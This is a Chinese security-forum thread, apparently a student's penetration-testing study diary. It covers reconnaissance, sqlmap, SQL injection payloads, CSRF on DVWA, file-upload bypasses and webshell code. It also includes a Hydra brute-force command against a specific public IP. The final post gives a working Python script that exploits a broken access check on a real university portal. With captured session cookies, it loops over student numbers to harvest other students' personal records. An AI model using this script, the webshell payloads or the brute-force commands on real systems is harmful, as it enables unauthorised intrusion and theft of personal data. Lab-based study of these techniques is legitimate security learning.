安全矩阵

 找回密码
 立即注册
搜索
楼主: caiH

温鸿的学习日记

[复制链接]

22

主题

63

帖子

338

积分

中级会员

Rank: 3Rank: 3

积分
338
 楼主| 发表于 2020-5-8 21:58:01 | 显示全部楼层
前言:web渗透测试一般分为三个阶段:信息收集、漏洞发现、漏洞利用。

**信息收集**
我记得我们老师说过渗透测试的本质就是信息收集。所以可见信息收集的重要性。

我们收集的信息一般包括:语言的类型、服务器的类型、目录的结构、数据库类型、所有链接页面,用到的框架、网站信息等等。
语言类型:php、asp、aspx、jsp等等

服务器类型:apache、tomcat、IIS、ngnix等等

目录结构:网站所有页面功能

数据库类型:Mysql、Sql server、Oracel等等

所有链接页面:与目录结构类似,但是这个不只是获取网站的所有功能页面,有时候还可以获取到管理员备份的源码

用到框架:cms、Struts2等等

网站信息:有效的账号、密码、开发厂商、身份证信息、类似系统是否存在漏洞、同厂商的漏洞等等

**漏洞发现**

1、工具扫描
在这个阶段我们在做测试的时候要对症下药,不能盲目的去扫描,首先要确定目标应用是否使用的是公开的开源软件,开源框架等、然后在做深一度的漏洞扫描。

扫描工具:AWVS、appscan等软件

(1)通过指纹识别软件判断开源软件的版本信息,针对不同的版本信息去开放的漏洞数据库查找相应版本的漏洞进行测试
(2)对于默认的后台登录页、数据库服务端口认证等入口可以进行简单的暴力破解、默认口令尝试等操作
(3) 使用开源的漏洞发现工具对其进行漏洞扫描,如:WPScan

2、手动测试
这个阶段,我们需要手工测试所有与用户交互的功能,比如:留言、登入、下单、退出、退货、付款等操作以及可能存在漏洞的地方。

可能存在的漏洞:

Owasp 关键点
代码安全之上传文件
代码安全之文件包含
代码安全之 SSRF
逻辑漏洞之密码重置
逻辑漏洞之支付漏洞
逻辑漏洞之越权访问
平台安全之中间件安全
xss
sql
任意命令执行




**漏洞利用**
通过获取的漏洞一步一步地去执行权限更高的操作。如果不需要内网渗透成功getshell即可,如果需要内网渗透,需要上传载荷留后门,建立代理通道打通内网等等。

回复

使用道具 举报

22

主题

63

帖子

338

积分

中级会员

Rank: 3Rank: 3

积分
338
 楼主| 发表于 2020-5-18 20:37:44 | 显示全部楼层
Webug报错注入获取flag


输入单引号发现报错
输入#发现并没有显示出来,将#过滤了,而输入%23则不报错,说明%23并没有被过滤

接下来就是常规操作,进行猜字段,发现字段数为2

发现回显在第二个字段
接下来开始显示表名,发现有个flag的表名
显示表的列名,发现一个叫flag的列名
将id,flag两个列中的内容全部显示出来,获取flag

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

22

主题

63

帖子

338

积分

中级会员

Rank: 3Rank: 3

积分
338
 楼主| 发表于 2020-7-12 20:51:33 | 显示全部楼层
sqlmap的使用方法详解
一、sqlmap入门
1、        判断注入是否存在
如果存在大于一个的参数,则需加双引号
2、        判断文本中的请求是否存在注入
sqlmap -r 1.txt(1.txt为抓包的请求的路径)
3、        查询当前用户下的所有数据库
4、        获取数据库中的表名
sqlmap -u “http://192.168.179.128:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1” -D dkeye(数据库名) –tables
5、        获取表中的字段名
sqlmap -u “http://192.168.179.128:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1” -D dkeye(数据库名) -T user_info(表名) –columns
6、        获取字段内容
sqlmap -u “http://192.168.179.128:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1” -D dkeye(数据库名) -T user_info(表名) -c username,password(字段名) --dump
7、        获取数据库用户的密码
8、        获取当前网站数据库的名称
9、        获取当前·网站数据库的用户名称
二、sqlmap进阶
1、--level 5:探测等级
参数—level5 指需要执行的测试等级,一共有5个等级,可以不加level,默认是1,这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2就会测试,HTTP User-Agent/Referer在头level为3时就会进行测试。如果不确定哪个payload或参数存在注入点时,为了保证全面性,建议使用高的level值。
2、--is-dba:当前用户是否为理员权限
该命令用于查看当前账户是否为数据库管理员账号,sqlmap -u “http://192.168.179.128:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1” –is-dba
3、--roles:列出数据库管理员角色
该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有的用户的表,输入该命令会列举出每个用户的角色。
sqlmap -u"http://192.168.179.128:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1"–roles
4、--sql-shell:运行自定义SQL语句
sqlmap - u  "http://192.168.179.128:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --sql-shell   
5、--os-cmd,--os-shell运行任意操作系统命令
sqlmap -u"http://192.168.179.128:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1"--os-cmd "ipconfig"
使用该命令的条件:(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3) GPC为off,php自动转义的功能关闭        
  
需输入绝对路径
6、--fiel-read  从数据库服务器中读取文件
sqlmap -u “http://192.168.179.128:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1”  --file-read “文件的路径”

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

22

主题

63

帖子

338

积分

中级会员

Rank: 3Rank: 3

积分
338
 楼主| 发表于 2020-7-14 20:06:54 | 显示全部楼层
## 一、收集敏感信息

浏览器使用的语法及说明(仅适用于Google和百度)
site      指定域名
inurl     url中存在关键字的页面
intext    正文中出现关键字的页面
filetype   指定文件类型
intitle    网页标题中出现的关键字
link    link:baidu.com  表示返回所有与baidu.com做了链接的url
info   查找指定站点的一些基本信息
例如:site edu.cn  intitle 登录(查找教育网站的登录页面)


## 二、收集子域名、端口、真实ip等信息

收集子域名一般使用工具,比如北极熊扫描器、webRobot等工具,下面将介绍北极熊扫描器,其界面如下图

输入域名或者ip就能掌握网站的信息,以及通过网络爬虫将网站的所有目录都爬取。这里也有登录页面爆破、域名侦查等功能,强烈推荐此款扫描器。
端口的信息收集方法很多,常见的有nmap、扫描器等工具。我们首先得明白这些常见端口开放分别对应开放了什么服务,以及这些服务能干什么,如何利用这个服务。

20、21        ftp        用于文件的上传下载。可采用匿名登录和授权用户名登录登录ftp服务器
22        ssh        常用于linux的远程登录,为图形界面
23        telnet        远程登录,为命令操作界面
25        SMTP        邮箱服务器
3389        rdp        远程连接
3306        数据库mysql        数据库开放时端口开放
1433        数据库mssql        数据库开放时端口开放
1521        数据库Oracle        数据库开放时端口开放
以上就是常见为的比较容易开放的端口,在我们扫描端口的时候,如果我们发现这些端口开放,我们可以尝试使用工具将这些端口的密码用户名爆破出来,这样我们就可以利用这些协议或者数据库。这里,我推荐Hydra这个工具:
首先我们要了解几个参数的解读(需区分大小写)
-R  根据上一次进度进行破解
-S  使用SSL协议连接
-s  指定端口
-l  指定用户名
-L  指定用户名字典(使用相对路径)
-p  指定密码
-P  指定密码字典(使用相对路径)
-e  空密码探测和指定用户密码探测
-o  输出文件
-t   制定多线程数数量,默认16个线程
-vV  显示详细过程
ip后面跟指定的服务名(如:telnet  ftp  mysql ssh rdp)
例如:破某网站的端口为22的ssh账号密码,线程数为32。
hydra -L username.txt -P password.txt -t 32 -s 22 -e ns 219.220.243.66 ssh

## 三、查找真实的ip

通常我们使用ping一个域名,出来的就是一个真实的ip,但是如果目标机使用了CDN,那么ping出来的就不是真实的ip,而是离我们最近的一台目标节点的CDN服务器,这就导致了我们不能真实得到真实的目标ip端。那么我们如何绕过CDN来获取真实的ip地址呢?
1、扫描网站的测试文件,如phpinfo、test等文件
2、分站域名,很多网站由于访问量过大,所以主站挂CDN,但是分站没有挂CDN,可以通过ping二级域名来获取分站ip,可能会出现分站和主站不是同一个ip但是一般在同一个C端下,从而判断出目标机的真实地址。
3、国外访问,CDN往往只针对国内用户访问加速,但是国外访问就不一定了。
4、如果目标网站有自己的APP,那么我们可以通过burpsuite进行抓包,从抓包内容中获取真实ip地址。
获取了目标ip那么我们应该如何验证这是否是一个真实的ip地址呢,最简单的方法就是我们可以将ip加端口(80、8080、443)去访问,看响应的页面是否和目标页面相同。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

22

主题

63

帖子

338

积分

中级会员

Rank: 3Rank: 3

积分
338
 楼主| 发表于 2020-7-15 16:18:15 | 显示全部楼层
CSRF漏洞介绍
CSRF为跨站请求伪造,是一种对网站的恶意利用,通过伪装成受信任用户请求受信任网站。
CSRF漏洞原理
攻击者利用目标用户的身份,以目标用户的名义执行非法操作。CSRF能做的事情包括:以目标用户的名义发送邮件、发消息、盗取目标用户的账号等等操作。
具体过程如下:
1、用户打开浏览器,访问受信任网站,输入用户名和密码请求登录网站A
2、通过用户验证后,网站A产生cookie并返回给浏览器,此时用户登录网站A成功,可以正常的对网站A发送请求
3、用户未退出网站A之前,在同一浏览器方位攻击者构造的恶意网站B。网站B收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问网站A
4、浏览器在接收这些攻击代码之后,由于用户cookie保存在浏览器中,根据恶意代码的请求,在用户不知情的情况下向网站A发起一些危险操作,网站A并
不知道请求是B发起的,所以会根据用户的cookie信息来执行这些危险操作。
CSRF漏洞利用
我们用DVWA靶场来实现CSRF攻击
这是一个修改密码的页面
我们对正常的修改密码操作进行拦包
我们可以看到这个是一个get请求,新密码通过get传参,那么我们可以尝试构造一个恶意攻击页面来,使其将密码修改成我们需要的密码
这样我们就构造出恶意攻击页面,将这个代码复制,然后写入页面,将其放在公网上,让用户点击这个页面就会执行更改密码的操作。

如果用户在同一个浏览器访问这个页面且点击了这个按钮,那么密码就会被更改
点击一下就成功将密码更改。
CSRF漏洞的检测
最简单的方法就是抓取一个正常的数据请求包,去掉referer字段后在提交,如果提交还有效,那么基本上可以确定存在CSRF 漏洞
CSRF漏洞的防御
验证referer字段
referer字段记录了请求的来源地址。如果referer是以自己的网站开头的域名,则说明该请求来自网站自己,是合法的。如果referer是空白的或者其他网站的
域名,说明就有CSRF攻击,那么服务器应该拒绝这个请求
添加token验证
在http请求中以参数的形式产生一个随机的token,并在服务器建立一个拦截器来验证这个token,如果没有token或者token不正确,那么可以拒绝这个请求。这
种方法要比referer更简单一些,token可以在用户登录之后产生并放于session之中,后在每次请求时把token从seesion中拿走,并与请求中的token进行比对。
验证码
每次用户在进行操作时需填写验证码

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

22

主题

63

帖子

338

积分

中级会员

Rank: 3Rank: 3

积分
338
 楼主| 发表于 2020-7-17 20:40:40 | 显示全部楼层
成功上传了webshell之后发现,发现不能执行系命令,查看之后发现是由于服务端disable_functions禁用了命令执行函数,那么如何突破呢?
今天看了大佬的文章之后找到了一种方法,但是由于本人水平不够看不懂这文章前面的原理,只学会了如何使用工具,下面将介绍这种工具的使用方法。
查看phpinfo(),发现disable_functions禁用了命令执行函数
执行一个命令,并不能成功执行
下载了大佬的工具,利用菜刀将bypass_disablefunc.php和bypass_disablefunc_x64.so传到目标路径(在www文件夹下面就可以)
指定好命令输出路径、共享对象路径,在bypass_disablefunc.php上再次执行命令
成功执

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

22

主题

63

帖子

338

积分

中级会员

Rank: 3Rank: 3

积分
338
 楼主| 发表于 2020-7-29 09:41:15 | 显示全部楼层
一、SQL注入类型
1、          UNION注入
联合注入是最简单的一种注入方式,但是要求页面必须存在显位
(即从数据库提取的数据被显示在前端),否则无法注入。
联合查询一般步骤:
(1)         先判断是否存在注入,如果存在判断是字符型还是整型注入
(2)         判断列数
(3)         找到显示位,需要隐藏正常结果才能爆出显示位,因此sqli-lab中id=-1’ union select 1,2,3--+,其中id=-1是为了防止正确的结果输出影响我们需要的数据输出,而select 1,2,3是为了找到哪几列能够输出,从而方便输出里面的数据。
(4)         获取数据库名
(5)         获取表名
(6)         获取列名
(7)         获取字段信息
2、          报错查询注入
有些网站在开发调试阶段开启了报错提示信息,如果没有关闭就有可能存在报错注入,有些注入没有显位,但是查询时有报错提示信息,因此报错注入的条件就是网页必须开启了mysqli_error这个函数。常见的报错注入函数有:
floor函数
select count(\*) from users group by concat(payload,floor(rand(0)\*2));
我们通常使用上面的语句来进行注入,其中payload就是我们想要的执行的sql语句。那么如何理解这个呢?
首先rand()是一个数学函数,返回一个随机浮点值[0,1],若指定一个整数参数N,则它被作用于种子值用来产生重复序列,rand(0)的值重复计算是固定的。
floor()同样是一个数学函数,返回一个不大于x的最大整数值,所以floor(rand(0)*2)的值就是重复的011011。
concat()是字符串拼接函数,拼接多个字符串,如果字符串中含有NULL,则返回的结果为NULL。
count(*)是一个聚合函数,返回值的数目,它与count()的区别是它不排除NULL。
group by 在执行时,会依次取出查询表中的记录并创建一个临时表,group by的对象便是该临时表的主键,如果临时表以及存在该主键,则值增加1,如果不存在,则将该主键插入到临时表中。
那么是为何会进行报错呢?
当group by 与rand()使用时,如果临时表没有该主键,则在插入前rand()会再计算一次,这个特性就导致了主键重复并报错。
当group by取第一条from表记录时,此时group by的是security0发现临时表并没有security0的主键,这个时候rand(0)*2会再计算一次,经过floor()后,率先插入临时表的主键不是security0而是security1并计数1,然后取第二条记录group by的key中的1仍由floor(rand(0)*2)继续计算获得,也就是security1此时临时表中已经有security1的主键了,所以count(*)直接加1就可以了。继续从from的表单中去第三条记录,再次计算floor(rand(0),2)结果为0,与database()拼接为security0,临时表中主键不存在,在插入前floor(rand(0)*2)又计算了一次,拼接后为security1,但是是直接插入,即使临时表中已经有主键security1,从而导致主键重复。
extractvalue()函数
extractvaule():对XML文档进行查询的函数,extractvalue(目标xml文档,xml路径)第二个参数xml中的位置是可操作的地方,xml文档中查找字符位置是用/xx/xx/xx/..这种格式,如果我们写入其他格式,就会报错,并且返回我们写入的非法格式内容,而这个非法内容正是我们需要查询的内容。正常查询时第二个参数的位置为/xx/xx/xx即使查询不到也不会报错,没有语法错误不会报错,但是如果故意写入语法错误就会显示错误内容,比如如下:
select usernamefrom security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(selectdatabase()))))
由于使用了concat()这个函数,所以extractvalue()这个函数的第二个参数是~xxx并不是正确的格式,因此会报错,显示无法识别的内容是啥,这样我们就可以在第二个参数插入我们想要执行的sql语句了。值得注意的是extractvalue()能查询的最大字符串长度为32,就是说如果我们想要的结果超过32位,就需要用substring()函数截取,一次查看32位,如下这里先查看数据库名从1到5位的字符串
select usernamefrom security.user where id=1 and (extractvalue(‘anything’,concat(‘#’,substring(hex((selectdatabase())),1,5))))
updatexml()函数
updatexml()函数与extractvalue()函数类似,是更新xml文档的函数,updatexml(目标文档,xml路径,更新内容),报错原因与extractvalue()函数相同,使用方法也相同。
3、          布尔注入
如果页面即不存在显位也没有报错提示的啥试试话可以使用布尔注入,通过插入一些语句查看结果判断是否存在布尔注入。布尔注入常用的几个函数如下:length(select databse())>5判断查询结果的长度
exists()判断查询结果是否存在
ascii()把查询结果转换成ascii的值
substr(string,pos,length)用来截取查询结果,string可以用查询语句代替,pos表示截取位置,length表示截取的长度
4、          延时注入
延时注入就是通过if()和sleep()函数的联合使用,通过是否延时来判断我们是否成功执行sql语句,延时注入的基本格式为:if(condition,a,b)当condition为true时,返回a,当condition为fasle时,返回b例如:判断当前数据库长度
id=3’ and if(length(database())>10,sleep(5),1),如果长度大于10就会延时。
5、          堆叠查询注入
在堆叠注入的页面当中,程序获取的get参数id,使用PDO的方式进行数据查询,但仍然将参数ID拼接到查询语句当中,导致PDO没有起到预编译的效果,程序仍然存在sql注入漏洞。
程序的正常sql语句如下:
select * fromusers where ‘id’=’1’;这里我们能控制的参数id,这里我们将参数id写成1’;selectversion();那么代码构造出来的sql语句为
select * fromusers where ‘id’=’ 1’;select version();那么我们可以看出这里执行了两条sql语句堆叠查询就是利用这个特点,在第二个SQL语句中构造自己想要执行的SQL语句,第二条sql的结果如果不能再页面中显示出来,那么我们就可以通过时间盲注来进行数据的穷举。
6、          二次注入
我们在向数据库插入数据的时候插入了恶意数据,虽然对该恶意数据进行了转义,但是插入数据库的时候还是保留了原来的内容,使得数据库本身已经包含恶意数据,然后再利用查询读取恶意数据,但是没有对该数据进行检查,这样我们就可以利用这个恶意数据,这就是二次注入的原理。
7、          宽字节注入
如果我们传入的参数是id=1’时,传入的单引号会被转义符转义,导致参数ID无法逃逸单引号的包围,所以一般情况下是不存在注入的,但是有一个特例。当数据的编码为gbk编码时,可以使用宽字节注入,宽字节的格式是在地址后面加一个%df再加单引号,因为反斜杠的编码为%5c,而再gbk编码当中,%df%5c是一个繁体字所以这样就成功逃逸单引号,爆出MYSQL数据库错误。所以我们可以结合UNION注入来利用这个注入。
8、          cookie注入
顾名思义,cookie注入可注入的参数在cookie中,通过$_cookie获取参数id,然后直接将参数拼接到sql语句当中。参考UNION注入的方法来利用cookie注入。
9、          base64注入
参数经过了base64编码,那么如果这个参数可以注入,我们只需把载荷进行base64编码,然后像UNION注入那样利用这个注入。而且如果存在WAF,WAF会对参数id进行检查,但是由于传输中id经过了base64编码,那么此时WAF很可能检测不到危险代码,从而绕过了WAF。
10、      XFF注入攻击
通过bp抓包可以发现HTPP请求头中有一个头部参数X-Forward-for,简称为xff头。它代表客户端真实的ip,通过修改客户端真实的值可以伪造客户端IP,将XFF设置为127.0.0.1,然后访问该URL,页面返回正常,将XFF设置为127.0.0.1’,再次访问该URL,返回MYSQL报错信息,说明这里可能存在注入点。之后利用UNION注入就可以将里面的数据给显示出来。
二、SQL注入绕过技巧
1、       大小写绕过
有时候开发人员只是单纯对一些关键字符进行了过滤,但是并没有对其大小写进行过滤,那么我们可以尝试对关键字进行大写或者大小写混用的方式来绕过这个过滤。
2、       双写绕过
在进行过滤的时候会将关键字给过滤,但是只过滤了一个关键字,那么我们可以采取双写进行绕过,例如过滤了关键字符串and,我们就可以尝试用anandd来进行注入。
3、       编码绕过
当我们尝试用URL全编码方式进行绕过的时候,服务器会自动对URL进行一次URL解码,所以需要把关键字进行编码两次,值得注意的是URL编码需要选择全编码,而不是普通的URL编码。除了URL编码之外,我们还可以使用html编码、十六进制编码、unicode编码来进行绕过。
4、       注释绕过
例如使用内联注释进行绕过,可利用/*!*/包含关键字进行绕过,在mysql数据库中/*!*/并不是注释的意思而是取消注释内容。
5、       相同功能替换
函数替换:
substring/mid/sub
ascii/hex/bin
benchmark/sleep
变量替换
user()/@@user
符号和关键字
and/&
or/|
6、       HTTP参数污染
HTTP参数污染注入源于网站对提交的相同的参数的不同处理方法导致的。例如:
www.XX.com/a?key=ab&key=3如果服务器返回输入keyt的值,可能会有ab 3 ab3这三种不同的返回值。具体的服务器端处理方式如下:
假设输a?key=select&key=1,2,3,4fromtable服务器端可能会将key处理为select 1,2,3,4from table从而导致了SQL注入。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

22

主题

63

帖子

338

积分

中级会员

Rank: 3Rank: 3

积分
338
 楼主| 发表于 2020-7-29 16:52:22 | 显示全部楼层
文件上传
1、      前端检测绕过
有的站点只在前端对文件的类型有所限制,我们只需用bp抓包然后修改文件后缀名就能绕过这种检测。
2、      文件头检测绕过
有的站点使用文件头来检测文件的类型,这种检测可以在shell前加入相应的字节一绕过检测,几种常见的文件类型的头字节如下:
3、      后缀检测绕过
部分服务器仅根据文件后缀、上传时的信息或者文件头来判断文件类型,此时可以绕过。php由于历史的原因,部分解释器可能支持符合正则/ph(p[2-7]?|t(ml)?)/的后缀,如php/php5/pht/phtml/shtml/pwml/phtm等。如果后端对文件名进行了过滤,可以尝试双写文件名,比如1.pphphp。
4、      系统命名绕过
在windows系统中,上传不符合windwos命名规则的文件名会被windows系统自动去掉不符合规则符号后面的内容,例如:test.asp.、test.asp(空格)、test.php:1.jpg、test.php:DATA、test.php:DATA...这些文件上传到服务器端之后都会变成test.php
在linux系统下,可以尝试上传文件后缀名为大小写混用的Php文件。
5、      文件包含绕过
在文件包含的时候,为了灵活包含文件,将被包含文件设置为变量,通过动态变量来引入需要包含的文件,用户可以对变量的值进行控制,而服务器端未对变量进行合理的校验,这样就导致所包含的文件有可能存在恶意代码。比如1.php
<?php
$file=$_GET[‘file’];
include($file);
?>
这个程序就包含了一个文件,我们在1.txt文件中写入
<?php
phpinfo();
?>
然后将这个文件包含在1.php中1.php?file=1.txt这样
<?php phpinfo();?>就成功写入1.php这个文件当中,我们访问1.php这个文件的时候就能出现php信息那个页面。利用这个漏洞我们就可以进行文件上传,我们只需包含一个一句话木马内容的txt就能用菜刀连接,这样就成功执行了文件上传。
6、      解析漏洞绕过
目录解析:在网站中建立名称为*.asp、.asa格式的文件夹时,其文件夹下面的文件都会被当做asp执行。
文件解析:当文件名为.asp;1.jpg时,也会被当做asp执行
Apache解析漏洞:Apache在解析文件时,是从右往左,如果遇到不认识的扩展名时,就会继续向左判断,例如1.php.rar就会被当做
php解析。
IIS 7.0/IIS7.5/Nginx<0.8.3畸形文件解析漏洞,当访问http://xxx.com/1.jpg/1.php时,此时1.php不存在,就会将1.jpg当做php文件去执行,所以如果存在该漏洞,将php木马后缀改成jpg然后访问1.jpg/1.php然后1.jpg就会被当成1.php来执行。
.htaccess,该文件里面的代码如下:
<FilesMatch "1">
SetHandlerapplication/x-httpd-php
</FilesMatch>
这段代码的意思就是文件名包含”1”这个这个字符串就会被当成php文件来处理。但是值得注意的是上传.htaccess必须是网站根路径。
7、      文件截断绕过
00截断:由于00代表结束符,所以会把00后面的所有字符删除。
能利用这个漏洞的前提是,php版本要小于5.3.4,magic_quotes_gpc需要为OFF状态。我们用bp进行拦包之后,需要sendto repeater,然后在hex中,在php后面添加00
8、      竞争条件攻击
一些网站上传文件逻辑上是允许上传任意文件的,然后检查上传文件的内容是否包含webshell脚本,如果包含则删除该文件,这里存在的问题是文件上传成功之后和删除文件之间存在一个短的时间差,攻击者就可以利用这个时间差来上传漏洞攻击。攻击者先上传一个webshell脚本1.php内容如下:
<?php fputs(fopen(‘../shell.php’,’w’),’<?php@eval($_POST[a]) ?>’); ?>
代码内容就是生成一个新的webshell,shell.php,那么当1.php上传成功之后,我们快速访问这个文件,这时就会在服务器端当前目录下自动生成shell.php,这时就利用时间差完成了webshell的上传。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

22

主题

63

帖子

338

积分

中级会员

Rank: 3Rank: 3

积分
338
 楼主| 发表于 2020-12-15 20:24:37 | 显示全部楼层
本帖最后由 caiH 于 2020-12-15 20:26 编辑

2020年12月15日
通过socket发包,结合越权漏洞,大量获取用户的信息
  1. import socket
  2. import json
  3. if __name__=='__main__':
  4.    
  5.    for xuehao in range(2018081001000201,2018081001000230):
  6.        sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  7.        sock.connect(('portal.ecjtu.edu.cn',80))
  8.        str=b'''
  9. POST /dcp_sis/tyxxdj/tyxxdj.action HTTP/1.1
  10. Host: portal.ecjtu.edu.cn
  11. Content-Length: 186
  12. Origin:http://portal.ecjtu.edu.cn
  13. render: json
  14. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36
  15. clientType: json
  16. Content-Type: text/plain;charset=UTF-8
  17. Accept: */*
  18. Referer: http://portal.ecjtu.edu.cn/dcp_sis/forward.action?path=/portal/portal&p=sistyxxdj&sid=sis_xt&param=QHNpc194dDAxQHNpc194dDAxMDFAMjAxODA4MTAwMTAwMDIxN0BAdW5kZWZpbmVkQHVuZGVmaW5lZEB1bmRlZmluZWRAdW5kZWZpbmVkQHVuZGVmaW5lZEB1bmRlZmluZWRAdW5kZWZpbmVk" target="_blank">http://portal.ecjtu.edu.cn/dcp_sis/forward.action?path=/portal/portal&p=sistyxxdj&sid=sis_xt¶m=QHNpc194dDAxQHNpc194dDAxMDFAMjAxODA4MTAwMTAwMDIxN0BAdW5kZWZpbmVkQHVuZGVmaW5lZEB1bmRlZmluZWRAdW5kZWZpbmVkQHVuZGVmaW5lZEB1bmRlZmluZWRAdW5kZWZpbmVk</a>
  19. Accept-Language: zh-CN,zh;q=0.9
  20. Cookie: key_dcp_sis_v6=8lllfYhHywyZQKrcpJz311gRfsTBK2gBZy69DKJCkVkGP3LLHznJ!440265955; key_dcp_v6=9SdPfYbYBsylcMQhM1pX7rgmDzpjTGG0GCbVKvMF8GQ158jk1J2C!1906594279
  21. Connection: close

  22. {"map":{"method":"detailsSelect","params":{"javaClass":"java.util.ArrayList","list":[{"map":{"xh":"%s"},"javaClass":"java.util.HashMap"}]}},"javaClass":"java.util.HashMap"}
  23.    '''.decode()%json.dumps(xuehao)
  24.        sock.send(str.encode())
  25.        data=sock.recv(1000000)
  26.        sock.close()
  27.        print(data.decode())
复制代码
需要注意的是1、在json里面插入变量:%s然后在json后面使用%json.dumps(变量)2、每次重新发包的时候需要将包关闭,所以连接和关闭都得写在循环里面(这个弄了一个下午才找到这个错误)
3、发的数据包需要进行decode编码,返回的数据也要进行decode编码
4、发的数据包要注意空格,如果开头有空格是不能正确发包的,会返回302


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-12-1 04:56 , Processed in 0.017250 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表